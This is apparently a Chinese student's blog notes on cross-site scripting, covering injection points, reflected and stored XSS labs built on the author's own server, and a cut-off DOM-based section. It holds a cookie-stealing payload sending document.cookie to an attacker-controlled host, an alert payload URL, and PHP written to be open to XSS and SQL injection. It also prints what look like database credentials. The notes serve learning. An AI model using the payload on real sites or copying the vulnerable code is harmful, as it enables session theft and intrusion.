XSS 跨站脚本攻击
文章目录
What is XSS?
跨站脚本攻击(Cross site Scripting):将任意Javascript代码插入到其他web用户页面里执行达到攻击目的的漏洞
与其他漏洞的区别:其他漏洞是为了攻击网站的服务器和数据库,但是该漏洞是去攻击其他用户。
How to lead XSS?
攻击者通过Web应用程序发送恶意代码,一般以浏览器脚本的形式发送给不同的终端用户,当一个Web程序的用户输入点没有进行校验和编码,将很容易导致XSS漏洞
自己语言的转义:我认为就是在该网站中,比如说存在留言功能,然后攻击者留言了一段恶意代码,这段留言是别的用户也可以访问到的,在其他用户查看这段留言的时候服务器进行解析,导致执行一些危险行为,这个整段过程就是跨站脚本攻击
Where is the XSS?
- 数据交互的地方
get post cookies headers
反馈与浏览
富文本编辑器
各类标签插入和定义
- 数据输出的地方
用户资料
关键词标签说明
文件上传
一般在ctf中会存在bot机器人 就是明确说明 给一个网址 机器人去访问
Cookie
为了辨别用户身份而存储在客户端上的数据
获取Cookie:
浏览器端(客户端):document.cookie
服务器端(php):$_COOKIE
How to use XSS?
- 标签闭合逃逸
在界面审查元素我们可以发现输出的结果在p标签内 所以当我们搜索时把p标签闭合 就可以在网页插入其他代码
攻击逻辑:请求带出
在script标签中执行:
window.open #打开新窗口
window.location.href #当前界面跳转
location.href
window.open('http://your_ip:port/?cookie=' + btoa(document.cookie))
#btoa实现base64编码
#开启服务器监听 然后将构造的exp给机器人进行访问 从而获得更高权限用户的cookie
反射型XSS
输入什么界面返回什么
我们成功在服务器上部署了一个存在xss漏洞的代码:
<?php
$input = $_GET['input'];
if(isset($input)){
echo("<h1>".$input."<h1>");
}
else{
highlight_file(__FILE__);
}
?>
然后传参,其中参数中包含恶意代码:
http://154.8.183.198/attack/xsstest.php?input=<script>alert("111")</script>
成功弹窗
存储型XSS
存储在服务器中的数据库里面
服务器搭建一波:(不得不提 有自己的服务器太爽了吧哈哈哈 好多东西都立马清楚了 知道怎么实现的了)
首先在服务器创建mysql数据库用来存储信息
库名:xss
表名:message
字段名: id
username
message
varchar(255)
其中需要把id 设置为主键 并且自动增加不为空
当时这个在图形化界面中没有找到怎么设置 就单纯创建好主键后执行了sql语句
ALTER TABLE `message` CHANGE `id` `id` INT(11) NOT NULL AUTO_INCREMENT
到此基本的数据库搭建完成
下面进行基础网页的搭建
<meta charset="utf-8">
<?php
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "ka1mi2CL"; //数据库用户名
$pwd = "gY8mgYWxRAdN"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>
<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>
<?php
/*直接将留言插入到数据库中*/
$username=$_POST['username'];
$message=$_POST['message'];
if($username and $message)
{
$sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
if ($conn->query($sql) === TRUE) {
echo "留言成功"."<br>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}else{
echo "请填写完整信息"."<br>";
}
/*查询数据库中的留言信息*/
$sql = "SELECT username, message FROM message";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
}
} else {
echo "暂无留言";
}
?>
添加
Dom-Based XSS
最后再来搭建一下基于dom的xss漏洞 其中dom就是指document html中的语法
首先这个东西就是因为代码写的没有验证用户的输入导致
全部发生在客户端 感觉和反射型有些类似哈
具体成因仿照咱们搭建的服务器: